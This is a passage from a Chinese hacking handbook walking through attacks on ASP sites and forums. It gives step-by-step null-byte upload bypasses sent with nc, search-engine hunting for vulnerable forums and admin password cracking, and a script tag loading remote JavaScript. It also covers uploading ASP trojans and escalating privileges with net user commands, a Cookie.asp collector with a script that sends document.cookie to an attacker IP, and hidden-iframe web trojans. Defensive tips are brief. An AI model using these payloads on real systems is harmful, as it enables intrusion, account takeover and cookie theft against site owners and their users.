当服务器在读取上面的变量时，由于“口”是二进制00，所以服务器会认为该变量已经结束，这样就忽略“口”后面的字符。所以Filename就变成"image/test.asp"。基于这样的原理，上传图片或其他格式的文件，只要构造提交带“00”的路径变量，就可以将任意文件保存为asp文件类型。黑客可将某个ASP木马后门改名为.jpg等图片后缀，上传后通过提交带“00”的变量，将图片还原为ASP木马后门，天意商务网中上传漏洞就是这样产生的。

2.Filepath漏洞攻击的实现

在了解天意商务网中的上传漏洞基本原理后，下面介绍如何通过修改构造提交Filepath变量并进行上传攻击。其具体操作步骤如下。

步骤1　在IE浏览器中打开天意阿里巴巴企业商务网V3.7程序中的主页面Default.asp文件，其实现结果如图11-69所示。单击【注册会员】按钮，即可打开其注册页面，如图11-70所示。在其中注册一个新用户。

图　11-69　天意阿里巴巴企业商务网主页面

图　11-70　注册新用户

步骤2　注册完毕后，在用户登录区中输入刚注册的用户名和密码进行登录，如图11-71所示。单击【超链接】按钮，即可进入产品发布页面，如图11-72所示。在其中按要求输入相应的数据，并单击【浏览】按钮选择要上传的ASP木马。

图　11-71　会员登录

图　11-72　产品发布页面

步骤3　运行Winsock Expert工具，单击工具栏中的【打开】按钮，即可打开【选择监听程序（Select Process To Monitor）】对话框，如图11-73所示。展开IEXPLORE.EXE选项，在其中选择当前打开的网页名称：天意商务网产品展示。

图　11-73　【选择监听程序】对话框

步骤4　返回到新产品发布页面中单击【确定】按钮，即可提交输入的数据。由于上传文件的类型不正确，即可看到【上传的图片有错误】提示框，如图11-74所示。出现这种现象的原因在于：网页对文件上传类型进行限制，所以ASP后门是无法上传成功的。

图　11-74　【上传的图片有错误】提示框

步骤5　此时在【Winsock Expert】窗口中即可看到捕捉到的数据包，在其中找到含有"Post"字符串的数据库，其ID号是3和4。在ID号为3所在的行单击，即可看到该数据包的具体内容，如图11-75所示。

图　11-75　查看ID=3的数据包的内容

其具体内容如下。

POST/tianyi/manage/spzs/zs_save_add.asp HTTP/1.1

Accept:image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, application/x-shockwave-

flash,

application/vnd.ms-excel, application/msword, application/x-silverlight,*/*

Referer:http://localhost/tianyi/manage/spzs/add.asp

Accept-Language:zh-cn

Content-Type:multipart/form-data;boundary=---------------------------7d931c1b10604

Accept-Encoding:gzip, deflate

User-Agent:Mozilla/4.0(compatible;MSIE 6.0;Windows NT 5.1;SV1)

Host:localhost

Content-Length:9162

Connection:Keep-Alive

Cache-Control:no-cache

Cookie:ASPSESSIONIDCATCQQDB=EDLNMGMBMLGFPPKHPOLDACFC

步骤6　在ID号为4所在的行单击，即可看到该数据包的具体内容，如图11-76所示。

图　11-76　查看ID=4的数据包的内容

其主要内容如下。

-----------------------------7d931c1b10604

Content-Disposition:form-data;name="filepath"

../../picture/

-----------------------------7d931c1b10604

Content-Disposition:form-data;name="cpmc"

aa

-----------------------------7d931c1b10604

Content-Disposition:form-data;name="cpbh"

001

-----------------------------7d931c1b10604

Content-Disposition:form-data;name="cpsb"

11

-----------------------------7d931c1b10604

Content-Disposition:form-data;name="cpcd"

11

-----------------------------7d931c1b10604

Content-Disposition:form-data;name="cpjg"

11

-----------------------------7d931c1b10604

Content-Disposition:form-data;name="cpgg"

20

-----------------------------7d931c1b10604

Content-Disposition:form-data;name="sortid"

14

-----------------------------7d931c1b10604

Content-Disposition:form-data;name="typeid"

281

-----------------------------7d931c1b10604

Content-Disposition:form-data;name="file";filename="F:\新建文件夹\Dvbbs7.1.0_Ac\

wap.asp"

Content-Type:application/octet-stream

步骤7　将上面两个数据包中的内容复制到一个新建的记事本文件中（1.txt），并将“filename="F:\新建文件夹\Dvbbs7.1.0_Ac\wap.asp"”修改为“filename="F:\新建文件夹\Dvbbs7.1.0_Ac\wap.asp.jpg"”，如图11-77所示。

图　11-77　修改文件后缀名

步骤8　使用UltraEdit打开刚才保存的"1.txt"文件，选中“filename="F:\新建文件夹\Dvbbs 7.1.0_Ac\wap.asp.jpg"”，将空格对应的十六进制代码20修改为00，如图11-78所示。

图　11-78　在UltraEdit修改十六进制代码

步骤9　将文件保存在nc.exe所在的文件夹，并在【命令提示符】窗口进入nc.exe所在的文件夹。运行"nc www.xxx.com 80＜1.text"命令，如果该命令执行成功，即可实现欺骗上传的目的。其中"www.xxx.com"是测试网站，需要根据实际情况进行修改。

11.5　不受控制的上传攻击

在动网购物系统2005中，也由于文件名FileName变量过滤不严而存在上传漏洞，但这个漏洞比较特殊。在动网购物系统2005程序中虽然对加点、加空格、00截止字符进行过滤，黑客还可能将一些特殊的字符绕过程序的安全过滤。

下面对该网站中的上传漏洞进行分析。

（1）打开动网购物系统2005程序中实现上传功能的upfile.asp文件。其上传功能的实现代码如下。

Private Sub SaveFile_0()//无组件上传

……

UploadObj.GetDate()//取得上传数据

FileToBinary=Null

If Not IsEmpty(SessionName)Then

If Session(SessionName)＜＞UploadObj.Form(SessionName)or Session(SessionName)=Empty Then

ErrCodes=7

Exit Sub

End If

End If

……

For Each FormName In UploadObj.File"列出所有上传了的文件

If Count＞MaxFile Then

ErrCodes=6

Exit Sub

End If

Set File=UploadObj.File(FormName)//取得上传文件名

FileExt=FixName(File.FileExt)//第一次检测,使用FixName函数过滤上传文件的扩展名

If CheckFileExt(FileExt)=False then//第二次检测,使用CheckFileExt函数过滤后的文件扩展名

ErrCodes=5

EXIT SUB//退出上传

End If

FileName=FormatName(FileExt)//如果符合条件,则使用FormatName函数按日期生成文件名

FileType=CheckFiletype(FileExt)

If IsBinary Then

FileToBinary=File.FileData

End If

If File.FileSize＞0 Then

File.SaveToFile Server.Mappath(FilePath＆FileName)//保存文件的路径以及名称

……

End If

End Sub

（2）在第一次检测文件名时，需要使用FixName函数对上传文件的扩展名进行过滤。该函数的具体格式如下。

Private Function FixName(Byval UpFileExt)

If IsEmpty(UpFileExt)Then Exit Function//如果扩展名为空就退出

FixName=Lcase(UpFileExt)//将扩展名转换为小写字符

FixName=Replace(FixName, Chr(0),"")//将二进制的00字符过滤为空

FixName=Replace(FixName,".","")//将点号过滤为空,下同

FixName=Replace(FixName,"'","")

FixName=Replace(FixName,"asp","")

FixName=Replace(FixName,"asa","")

FixName=Replace(FixName,"aspx","")

FixName=Replace(FixName,"cer","")

FixName=Replace(FixName,"cdx","")

FixName=Replace(FixName,"htr","")

FixName=Replace(FixName,"shtml","")

End Function

从上述函数代码中不难看出：asp、asa、aspx、cer、htr、sthml等格式的文件被过滤掉，所以使用特殊字符映射上传文件的攻击方法是不可行的。同时点号、单引号以及00等特殊字符也被过滤，所以使用这些方法也不能实现上传攻击。可以说FixName函数的过滤功能是比较全面的，在一定程度上可以保证网站的安全性。由于设计者的考虑不够全面，还是给黑客留下一个上传漏洞。

（3）在第二次检测文件名时，需要使用到CheckFileExt函数。该函数的具体格式如下。

Private Function CheckFileExt(FileExt)//第二次检测函数,用于判断文件类型是否符合要求

Dim Forumupload, i

CheckFileExt=False//定义CheckFileExt的初始值为假

If FileExt=""or IsEmpty(FileExt)Then//为空则退出程序

CheckFileExt=False

Exit Function

End If

If FileExt="asp"or FileExt="asa"or FileExt="aspx"or FileExt="shtml"Then//如果属于这四种类型也退出程序

CheckFileExt=False

Exit Function

End If

Forumupload=Split(InceptFile,",")//第三次检测,从InceptFile参数中提取后台的上传扩展名

For i=0 To ubound(Forumupload)//使用For循环检验

If FileExt=Trim(Forumupload(i))Then//如果和后台中的任意一种上传扩展名相符,则

CheckFileExt的值设置为True

CheckFileExt=True

Exit Function

Else

CheckFileExt=False

End If

Next

End Function

CheckFileExt函数是对经过FixName函数过滤的扩展名进行再次判断检测。其中包含如下三次检测。

第一次检测：该次检测是判断传递过来的扩展名是否为空，如果为空则退出上传。

第二次检测：该次检测是判断扩展名是否属于asp、asa、aspx、shtml等4种限传类型。

第三次检测：该次检测是用该扩展名与后台内自定义的上传扩展名进行对比，如果符合上传扩展名，则允许上传。

（4）一般情况下，黑客都是利用文件上传路径FilePath变量进行欺骗攻击的。在“动网购物系统2005”程序中打开"Upload.asp"文件，即可看到所用到的FilePath变量，如图11-79所示。

FilePath="/bbs/upload/"

else

FilePath="/uploadpic/"

end if

DrawInfo=upload2

If DrawInfo="0"Then

DrawInfo=""

End If

图　11-79　定义的FilePath变量

由于这里FilePath变量已经被定义为一个常量，所以在程序端是无法自定义的。所以在文件路径的FilePath变量中添加“00”截止字符进行攻击的方式也是不可行的。

（5）整个上传过程看起来是非常安全的，几种常见的攻击方式都被阻止，但依然存在文件名过滤不严的上传漏洞。其实上传漏洞就存在FixName函数中，如果要上传一个扩展名为cer的文件，当文件提交后经过FixName函数的过滤，将cer后缀名过滤为空；再进行第二次检测。由于"If IsEmpty（UpFileExt）Then Exit Function"语句，当后缀名为空时就退出上传，所以扩展名为cer的文件无法上传成功。

但如果要上传扩展名为ccerer的文件，在经过FixName函数将中间cer字符过滤为空，所以其扩展名就变为cer。当cer后缀被传递给第二次检测时，就可以通过文件后缀名为空的检测，根据"If FileExt="asp"or FileExt="asa"or FileExt="aspx"or FileExt="shtml"Then"语句进行检测，由于cer不是属于禁止上传类型，所以可以顺利通过检测。最后进入第三次检测，如果在后台已经添加"cer"上传类型，就可以通过CheckFileExt函数的判断，从而顺利上传扩展名为ccerer的文件，而且上传后文件的扩展名为cer。

11.6　专家点拨

点拨1：由于上传漏洞入侵是目前对网站最广泛的入侵方法，具有上传功能网站大多存在上传漏洞，如何防范上传攻击？

解答：这几年来，包括动网、动力、动易在内的ASP系统，都曾经出现过上传漏洞的问题。要预防这种危险，必须从IIS的设置和网站程序两方面着手来加一解决。

设置IIS：在IIS中，应给各个不必要的目录去掉“执行”权限，即将执行权限改为“无”，也就是这个目录下的文件，只能读取，不能运行。另外，在IIS运用程序配置中删除不需要的程序映射，也是避免因过滤不够被攻击者上传某些特殊类型木马进行攻击的办法。

设置ASP程序：先在网站后台中设定好允许上传的文件扩展名，应当只允许上传图形文件和压缩文件，绝不允许上传asp、aspx、asa、hdx、cer、exe、bat等脚本文件。在编程时注意尽量不要让黑客利用程序的不严谨上传木马；一旦发现了程序的漏洞就要赶快修补。

点拨2：在shtml映射攻击的过程中需要用到＜#exec＞指令，但在默认情况下，该命令是被禁用的，应该采取什么措施将该命令开启？

解答：在【注册表编辑器】窗口中依次展开HKEY_LOCAL_MACHINE\SYSTEM\Current ControlSet\Services\W3SVC\Parameters分支，在该项目下选择新建一个DWord值，名称为"SSI EnableCmdDirective"，在【编辑DWORD值】对话框中将其值设置为“1”，最后重新启动IIS，即可开启＜#exec＞指令。

11.7　总结与经验积累

本章内容有助于读者掌握一些上传漏洞的知识，如多余映射攻击、空格和点的攻击、二次循环产生的漏洞攻击，并借助WSockExpert工具进行上传攻击，同时还需要采取相应防御措施来阻止这类攻击的发生。

一般ASP网站都允许用户上传文件，如上传jpg等格式的图形文件，RAR格式的压缩文件等。由于完成上传文件功能的上传组件（通常网站开发者使用第三方开发的上传组件或者ASP类作为自己的上传组件）、站长的错误设置（允许上传asp或shtml等类型的文件），或其他存在的上传漏洞，都可能存在被攻击者上传后门木马的可能性。一旦上传了木马，攻击者就获得了站长的权限，甚至超过站长的权限，对整个服务器构成安全威胁。

第12章
恶意脚本入侵与防御

重点提示

♂恶意脚本论坛入侵与防御

♂恶意脚本的巧妙应用

♂恶意脚本入侵的防御

从IE浏览器角度来看，网页只是一个长字符串，浏览器会按顺序对其进行处理并显示某些字符，同时按特殊规则解释其他字符（如＜b＞和＜script＞）。如果恶意用户将某些特殊字符插入到页中，则浏览器将将其作为网页的一部分而处理，进而产生恶意脚本攻击。

12.1　恶意脚本论坛入侵与防御

现在很多网站都采用论坛模式，这种网站与用户的互动性比较大。由于很多网站都使用从网上免费下载的论坛，方便了黑客研究各种论坛脚本并找出存在的漏洞，以实现攻击网站。

12.1.1　极易入侵的BBS3000论坛

BBS3000论坛是一个比较经典的论坛系统，但该论坛中也存在着漏洞，曾经遭受到黑客攻击。本节将介绍BBS3000论坛的入侵以及防御。

1.入侵BBS3000论坛

在入侵BBS3000论坛时，还需要借助于BBS3000工具。利用该工具可以破解出论坛管理员密码，从而以管理员的身份登录论坛。具体的操作步骤如下：

步骤1　打开百度搜索引擎并在搜索文本框中输入"/yhreg.cgi"关键词，如图12-1所示。

图　12-1　Google搜索引擎

步骤2　单击【百度一下】按钮，即可看到其对应的搜索结果，如图12-2所示。

图　12-2　搜索结果

步骤3　在搜索结果中找到想要入侵的网站，并单击该论坛的链接，即可打开相关网站，如图12-3所示。单击【信息】按钮，即可进入论坛社区主页面，如图12-4所示。

图　12-3　相关网站

图　12-4　论坛社区主页面

步骤4　在该页面中单击【管理人员】超链接，即可打开【论坛社区管理人员】窗口，如图12-5所示。在入侵BBS3000时还需要使用BBS3000工具，从网上下载该工具后运行其主程序，如图12-6所示。

图　12-5　【论坛社区管理人员】窗口

图　12-6　【BBS3000】主界面

步骤5　在该页面中找到管理员的名称为：站长袁曾，将网址和管理员名称添加在BBS3000工具的相应位置上，如图12-7所示。在添加完毕之后，单击【获取】按钮，即可得到管理员的密码，如图12-8所示。在得到密码之后，就可以重新以管理员的身份登录了，如图12-9所示。

图　12-7　使用BBS3000工具

图　12-8　得到管理员密码

图　12-9　利用破解出的密码登录论坛

2.防御措施

在使用BBS3000时，为了不给黑客留下可趁之机，应该采取如下几种防御措施：

尽量修改用户资料存放位置和文件格式，使黑客不容易猜到存放目录以及文件名。

加强对用户名、信箱特殊符号、信箱字节长度等字符的过滤。

重新调整用户资料的排列，把用户输入的数据和系统产生的分别隔开，使之很难构造一条能够执行的命令语句。

12.1.2　并不安全的论坛点歌台漏洞

现在有很多专门点歌的网站，在给广大用户带来方便的同时，也给黑客提供了机会。黑客可以将恶意脚本代码保存成文件的形式，通过点歌的形式实现攻击网站的目的。本节将介绍如何利用别人点歌台漏洞攻击其论坛的方法。具体的操作步骤如下：

步骤1　在百度搜索引擎的文本框中输入“点歌祝福栏”，单击【百度一下】按钮，即可查到很多提供点歌服务的网站，如图12-10所示。

图　12-10　搜索结果

步骤2　在搜索的网站中选取一个并单击其链接进入该页面，这里选择一个点歌论坛，如图12-11所示。

图　12-11　点歌论坛主页

步骤3　一般的点歌站点都需要登录之后才能进行点歌，所以要先注册一个账户，单击“注册”链接，即可进入用户注册页面，如图12-12所示。

图　12-12　【用户注册条款和声明】页面

步骤4　在该页面仔细阅读相关的条款声明之后，如果同意则单击【下一步】按钮，即可进入【新用户注册添写资料】页面，如图12-13所示。

图　12-13　【新用户注册添写资料】页面

步骤5　在输入完注册资料之后，单击【注册】按钮，即可看到“成功注册，欢迎您的加入”提示信息，如图12-14所示。此时可以用新注册的账户登录。当然如果是已经注册过的用户，可以直接单击其主页面中的“登录”链接来登录论坛。

图　12-14　注册成功

步骤6　在登录完成之后，单击“点歌祝福栏”中的【我要点歌】按钮，即可进行点歌，此时打开点歌信息页面，如图12-15所示。

图　12-15　输入点歌信息页面

步骤7　在“歌曲名字”文本框中输入代码＜script src="http://2000y.xxx.com/1.js"＞＜/script＞并勾选“全体会员”复选框，将歌曲送给全体用户；在“音乐地址”文本框和“祝福内容”文本框中可以随便填写。

步骤8　在设置完毕之后，单击【送出】按钮，如果提交成功，则可以完成将JS文件上传以实现攻击该点歌论坛。

提示　代码"＜script src="http://2000y.xxx.com/1.js"＞＜/script＞"用于调用http://2000y.xxx.com/1.js文件的代码。在这里事先已将JS文件上传到了http://2000y.xxx.com/空间里，并命名为1.js，否则将不能实现跳转。

12.1.3　雷奥论坛LB5000也存在着漏洞

LB5000论坛中的messages变量存在过滤漏洞，最初是由http://envymask.3322.org的Envymask发现的。用户在发送短消息时允许复制一份消息至发件箱，即使发送的目标邮箱不存在，也会将消息复制到发件箱。而且messanger.cgi在处理短消息时，没有过滤掉%09、%0A、@、$等特殊字符，这样黑客就可以利用该漏洞进行攻击。

1.注册论坛账户

在攻击目标论坛之前，需要先在该论坛上注册一个用户，以实现利用这个用户的shell。

具体的操作步骤如下。

步骤1　在IE浏览器中打开将要攻击的论坛的页面，如图12-16所示。单击【按这里注册】链接，即可进入服务条款和声明页面，如图12-17所示。

图　12-16　攻击目标论坛页面

图　12-17　服务条款和声明页面

步骤2　在阅读完条款内容之后，单击【我同意】按钮继续申请注册，即可进入【填写用户注册信息】窗口，如图12-18所示。

图　12-18　【填写用户注册信息】窗口

步骤3　在此窗口中填写必要的用户名及密码等信息之后，单击【注册】按钮，即可看到注册成功的提示信息，如图12-19所示。

图　12-19　【注册成功】页面

2.安装Perl解释器

由于攻击脚本是基于Perl语言，而Perl是一种解释语言，可作为独立的应用程序使用，也可结合Apache构建Web应用程序，但在使用前需要安装Perl解释器。

安装Perl解释器的具体操作步骤如下。

步骤1　运行从网上下载的Perl解释器安装程序，即可打开【Welcome to the ActivePerl 5.8.8 Build 822 Setup Wizard（欢迎安装）】对话框，如图12-20所示。

图　12-20　【欢迎安装】对话框

步骤2　单击【Next（下一步）】按钮，即可打开【End-User License Agreement（最终用户使用协议）】对话框，如图12-21所示。如果同意协议内容，则选择“I accept the terms in the License Agreement（我接受上面的协议）”单选按钮。

图　12-21　【最终用户使用协议】对话框

步骤3　单击【Next】按钮，即可打开【Select the way you want features to be installed（选择安装路径）】对话框，如图12-22所示。单击【Browse（浏览）】按钮，即可打开【Change current destination folder（改变目标文件夹）】对话框，在其中设置Perl编译器的安装位置，如图12-23所示。

图　12-22　【选择安装路径】对话框

图　12-23　【改变目标文件夹】对话框

步骤4　单击【OK】按钮，即可返回到【Select the way you want features to be installed（选择安装路径）】对话框，在其中可以看到设置的安装位置，如图12-24所示。单击【Next】按钮，即可打开【Choose Setup Options（选择安装属性）】对话框，如图12-25所示。

图　12-24　设置安装的目标位置

图　12-25　【选择安装属性】对话框

步骤5　在选中相应的复选框之后，单击【Next】按钮，即可打开【Ready to Install（准备安装）】对话框，如图12-26所示。单击【Install】按钮，即可打开【Installing ActivePerl 5.8.8 Build 822（正在安装）】对话框，如图12-27所示。

图　12-26　【准备安装】对话框

图　12-27　【正在安装】对话框

步骤6　待安装完毕之后，即可看到【Completing the ActivePerl 5.8.8 Build 822 Setup Wizard（完成安装）】对话框，如勾选“Display the release notes（显示版本说明）”复选框，如图12-28所示。单击【Finish（完成）】按钮，即可看到以网页形式出现的版本信息，如图12-29所示。

图　12-28　【完成安装】对话框

图　12-29　查看版本信息

3.攻击论坛

还需要下载LB5000漏洞的两个攻击程序：一个是针对使用perl%s%s来解析论坛的攻击程序；另一个是针对使用isapi来解析论坛的攻击程序。

下面以perl%s%s为例来进行介绍。具体的操作步骤如下。

步骤1　在【命令提示符】窗口中输入"dir*.pl"命令，即可查找到下载得到的针对使用perl%s%s来解析论坛的攻击程序文件，如图12-30所示。

图　12-30　解析论坛攻击文件

步骤2　在其中输入"lb5k-perl.pl"命令之后，即可看到攻击论坛所使用的方法，如图12-31所示。在光标处输入“lb5k-perl.pl＜host（所要攻击的论坛IP地址）＞＜name（在此论坛上注册得到的账户名）＞＜passwd（账户密码）＞＜way（网络路径，一般默认为/cgi-bin/）＞”命令。

图　12-31　显示使用方法

步骤3　按回车键之后，稍等片刻程序就能给出shell的地址。在得到shell后，在IE浏览器的地址栏内输入“http://(shell的地址)?dir”，即可完成对此论坛的攻击。使用isapi来解析的论坛，与此攻击方法类似，这里不再赘述。

4.防御措施

论坛或留言板等程序遭受攻击关键是存在可利用的漏洞，其实只要将这些漏洞堵上就可以了。但许多漏洞的存在是由于论坛或留言板的建设者疏漏所致，作为使用者很难防范，只能寄希望于作者早日解决这些问题。因此，论坛管理员经常给论坛打补丁是必不可少的，同时还应该经常留心各大黑客组织发布的漏洞公告，以发现自己论坛所存在的问题。另外，要严格过滤特殊字符，防止有人利用特殊字符进行攻击。无论管理员还是论坛中的普通用户，都必须设置一个复杂密码并定期更换，以防止黑客暴力破解密码。

12.1.4　被种上木马的DV7.0上传漏洞

DV7. 0的上传漏洞自从打了SP2补丁之后，安全性提高了很多，但是黑客在该网站打上此补丁之前已经种上了木马，黑客们就有了乘虚而入的机会。在动网论坛大唐美化版中，默认存在着一个上传插件，在该插件中存在着文件上传漏洞，如果论坛管理员没有对这个漏洞采取防范措施，黑客就可以利用该漏洞来入侵动网论坛。

具体的操作步骤如下。

步骤1　在百度搜索引擎的搜索文本框中输入“Powered By Dvbbs Version 7.0.0 Sp2大唐社区美化”关键词之后，单击【百度一下】按钮，即可进行搜索，如图12-32所示。

图　12-32　搜索结果

步骤2　在搜索结果中找到使用大唐社区美化版的动网论坛版本的网站，并单击其链接进入相关的网站，如图12-33所示。

图　12-33　打开相关的网站

步骤3　单击【注册】超链接，即可打开新用户注册页面，在该论坛上注册一个账户，如图12-34所示。注册成功之后，在登录区域中输入注册的用户名和密码，即可成功登录该论坛，如图12-35所示。

图　12-34　注册新账户

图　12-35　登录论坛页面

步骤4　在该页面中选择任意一个主题，单击其超链接即可进入到该主题页面中，如图12-36所示。单击【新帖】按钮，在快捷菜单中选择“发新话题”选项，即可打开【发布帖子】窗口，如图12-37所示。

图　12-36　进入主题页面

图　12-37　【发布帖子】窗口

步骤5　在该页面设置帖子的标题和内容之后，单击“上传附件”栏中的【浏览】按钮，即可打开【选择文件】对话框，如图12-38所示。在选择本地某个以.asp为后缀名的文件之后，单击【打开】按钮，如果出现“文件格式不正确，请重新上传！”提示信息，则说明此论坛存在文件上传漏洞，可以对该网站进行攻击。

图　12-38　【选择文件】对话框

步骤6　这里使用针对大唐美化版上传漏洞的攻击工具“动网-大唐社区美化上传漏洞专用工具”来进行。下载并运行该工具，其主窗口如图12-39所示。

图　12-39　动网-大唐社区美化上传漏洞专用工具

在"URL"文本框内输入要攻击论坛的网址，注意一定要包含"http://"标记。

在“端口”文本框中输入默认的80端口号。

在“注册用户”文本框中随便输入用户名。

在“Asp代码”列表中选择要使用的ASP木马后门代码，在该列表中列出常见的ASP木马后门代码，程序默认已填入了一段ASP后门的代码，不过功能不是很强。

在“上传路径/生成文件名”文本框中输入文件上传后的保存路径和文件名，也可随意输入。

步骤7　在设置完毕之后单击【上传】按钮，即可进行上传。在上传成功之后，用浏览器连接打开上传的ASP木马，即可控制网站服务器。

12.2　剖析恶意脚本的巧妙运用

对于黑客们来说，利用恶意脚本攻击论坛无疑是一个很好用的方法。因此，能否巧妙地运用恶意脚本成为攻击成功与否的关键。本节介绍巧妙地运用恶意脚本来提升ASP木马权限、获得用户的Cookie以及在动网论坛中嵌入网页木马等内容。

12.2.1　全面提升ASP木马权限

在不同情况下，提升ASP木马权限的方法有所不同。如一个动网论坛的管理员密码被黑客窃取，黑客就可以设置允许上传ASP文件，甚至利用一个cmdasp后门渗透整台服务器。

下面将介绍如何全面提升ASP木马权限。具体的操作步骤如下。

步骤1　如果没有安装Internet信息服务器，可以在【添加/删除程序】窗口下“Windows组件”选项下安装。在已经安装Internet服务器的情况下，单击【开始】→【控制面板】菜单项，即可打开【控制面板】窗口，如图12-40所示。

图　12-40　【控制面板】窗口

步骤2　双击【管理工具】图标，即可打开【管理工具】窗口，如图12-41所示。双击其中的【Internet信息服务】图标，即可打开【Internet信息服务】窗口，如图12-42所示。

图　12-41　【管理工具】窗口

图　12-42　【Internet信息服务】窗口

步骤3　在【Internet信息服务】窗口中找到cmdasp.asp文件（木马文件）并右击之后，在弹出的快捷菜单中选择【浏览】菜单项，在弹出窗口的文本框里输入"net user"命令，单击【Run】按钮，即可显示出所有用户的账户。

步骤4　在该文本框中输入"net user 123/add"命令添加另一个用户之后，单击【Run】按钮却没有任何显示。在【命令提示符】窗口的光标处输入"net user"命令，即可看到本机中所有的账户，从显示结果中可以看出刚才所添加的用户并未成功，如图12-43所示。

图　12-43　本机中所有账户

步骤5　此时可以使用cscrpt.exe工具来取得当前的InProcessIsapiApps列表（这里的系统盘为C盘），使用到的命令为C:\Windows\system 32\inetsrv＞cscrpt.exe adsutil.vbs get/w3svc/InProcessIsapiApps（假如cscrpt.exe存放在C:\Windows\system 32\inetsrv目录下）。

步骤6　从显示结果可以看出，此列表中并没有asp.dll，下面再将asp.dll添加到/LM/W3SV CInProcessIsapiApps列表中。成功添加后再运行上述命令，InProcessIsapiApps列表内容如下。

C:\Windows\system 32\inetsrv＞cscrpt.exe adsutil.vbs set/w3svc/InProcessIsapiApps

"C:\Windows\system 32\inetsrv\idq.dll"

"C:\Windows\system 32\inetsrv\httpext.dll'"

"C:\Windows\system 32\inetsrv\ssinc.dll"

"C:\Windows\system 32\nswprt.dll"

"C:\Windows\system 32\inetsrv\asp.dll"

步骤7　下面来看看asp木马的权限，加一个用户“123”并提升为管理员试试。在cmdasp.asp页面的文本框中输入"net user 123*****/add"命令并单击【Run】按钮，即可看到“命令成功完成”提示信息。

步骤8　在文本框中输入"net localgroup administrators123/add"命令，单击【Run】按钮，即可提升用户的权限。此时再返回到【命令提示符】窗口，在光标处输入"net user"命令，在运行结果中可看到刚添加的123账户。再运行"net localgroup administrators"命令，即可在显示的结果中看到用户“123”，表明用户123已得到管理员的权限了。

12.2.2　利用恶意代码获得用户的Cookies

黑客可以自己编制出一些窃取网页浏览用户的Cookies内容代码，以获取Cookies信息中的各种论坛和网站登录账号和密码。具体的操作步骤如下。

步骤1　先申请一个网站空间，将事先准备好的Cookie.asp文件上传到申请的空间中。其中Cookie.asp文件是用来收集Cookies内容。其具体内容如下。

＜%

testfile=Server.MapPath("Cookie.txt")

msg=Request("msg")

set kz=server.Create.object("scripting.filesystemobject")

set thisfile=kz.OpenTextFile(testfile,8,true,0)

thisfile.WriteLine(""＆msg＆"")

thisfile.close

set kz=nothing

%＞

步骤2　下载运行“Q-zone个人空间名称跨站漏洞利用工具”，主窗口如图12-44所示。在“在下面的文本框中填写跨站代码”栏下面的文本区域中输入相应的跨站代码，如图12-45所示。

＜script＞

Window.open('http://192.168.0.11/Cookie.asp?msg='+document.cookie)

＜/script＞

图　12-44　【Q-zone个人空间名称跨站漏洞利用工具】窗口

图　12-45　输入要提交的跨站代码

步骤3　单击【提交】按钮，即可将上述代码提交到黑客的Q-zone上。这样，只要其他QQ用户访问其Q-zone，就会在当前网页中打开一个新窗口，连接到指定的收集Cookies页面并将自己的Cookies内容发送到指定"Cookie.txt"文件中。

步骤4　这样黑客只要打开"Cookie.txt"文件，即可看到所有用户的Cookies信息，而在这些Cookies信息中可能包含有用户的密码和账号等信息。

12.2.3　在动网论坛中嵌入网页木马

如果一个点击率和访问量很大的网站首页中被嵌入了网页木马，那么，每个访问网站的用户都有可能遭到木马的攻击，最终造成极其严重的后果。

1.在动网论坛上嵌入网页木马

下面以动网DVBBS论坛为例，利用挂马漏洞，在不需要管理员权限的情况下，在论坛页面中嵌入网页木马，攻击其他论坛用户。具体的操作步骤如下。

步骤1　打开动网论坛，如图12-46所示。若还没有在该论坛中注册一个用户，则单击【注册】按钮，即可打开【新用户注册】窗口进行注册。如果已经是注册用户，则单击【登录】按钮进行登录。成功登录后的界面如图12-47所示。

图　12-46　动网论坛主页

图　12-47　登录论坛

步骤2　在该页面中选择【用户控制面板】→【联系资料修改】菜单项，即可打开个人资料修改页面，如图12-48所示。

图　12-48　个人资料修改页面

步骤3　在“论坛密码”栏中输入论坛密码，在“主页地址”文本框中输入代码“＜Script＞＜Iframe height=0 width=0 sRc="http//网页木马地址"＞＜/Iframe＞”。使用这种方式挂的网页木马，由于网页框架是隐藏的，所以不容易被发现。这里为了显示挂马的效果，不对网站造成危害，因此将网页框架扩大，并用其他网址代替网页木马地址，使用的代码为＜Script＞＜Iframe height=500 width=500 sRc="http//newtop01.com"＞＜/Iframe＞＜/Script＞。

提示　代码“＜Iframe height=0 width=0 sRc="http//网页木马地址"＞＜/Iframe＞”表示建立一个长度和宽度都为0的网页框架，在网页框架中打开填写的网页木马地址。

步骤4　还需要在“MSN号码”文本框中输入相应代码“＜Script Language=JavaScript＞var actioninfo3='单帖屏蔽'”，如图12-49所示。

图　12-49　输入内容

步骤5　在设置完毕后，单击【更新】按钮，即可提交修改资料内容。如果提交成功，则会看到“你修改的信息已成功提交”提示信息，如图12-50所示。

图　12-50　提交跨站代码成功

步骤6　返回论坛，回复或新发一篇帖子，帖子内容可随意填写。发表成功后再查看新发的帖子，即可看到在新发的帖子页面中已经嵌入了一个网页框架，在框架中显示了“新起点工作室”的页面，如图12-51所示。

图　12-51　挂马成功

提示　如果使用隐藏的方法显示一个网页木马，则用户在查看该帖子时一定会中招被植入木马。如果将该网页框架长和宽都设置为0，则网页框架是隐藏的，凡浏览该页面的用户都将会在无声无息中遭受到网页木马的攻击。

2.挂马漏洞出现的原因

从上述攻击测试过程中可以看出，在动网论坛上挂上一个网页木马是非常简单的事。接下来将分析出现这种情况的原因。

使用记事本打开动网注册页面文件"reg.asp"，在其中找到如下的代码：

UserIM=checkreal(Request.form("homepage"))＆"|||"＆checkreal(Request.form("QQ"))＆"||

|"＆checkreal(Request.form("ICQ"))＆"|||"＆checkreal(Request.form("msn"))＆"|||"＆

checkreal(Request.form("yahoo"))＆"|||"＆checkreal(Request.form("aim"))＆"|||"＆

checkreal(Request.form("uc"))

其中"UserIM"是以"TEXT"类型存储主页、QQ、ICQ、msn等用户注册信息的。存储格式为"homepage|||QQ|||ICQ|||msn|||yahoo|||aim|||uc"，其中"homepage"就是用户注册时的主页选项。程序通过调用"Request.form("homepage")"语句，从用户注册的From表单获得用户注册的主页数据，最终的用户输入数据是通过"checkreal"函数进行处理。在打开定义函数的"Fundon.asp"文件中可以看到定义"checkreal"函数的代码。其具体内容如下：

Function checkreal(v)

Dim w

If not isnull(v)Then

w=replace(v,"|||","§§§")

checkreal=w

End If

End Function

由此可知，该函数仅是将“|||”进行了过滤，根本没有过滤＜、＞、/等特殊字符，所以就导致了用户可提交任何的恶意代码。

12.2.4　利用恶意脚本实现Cookies注入攻击

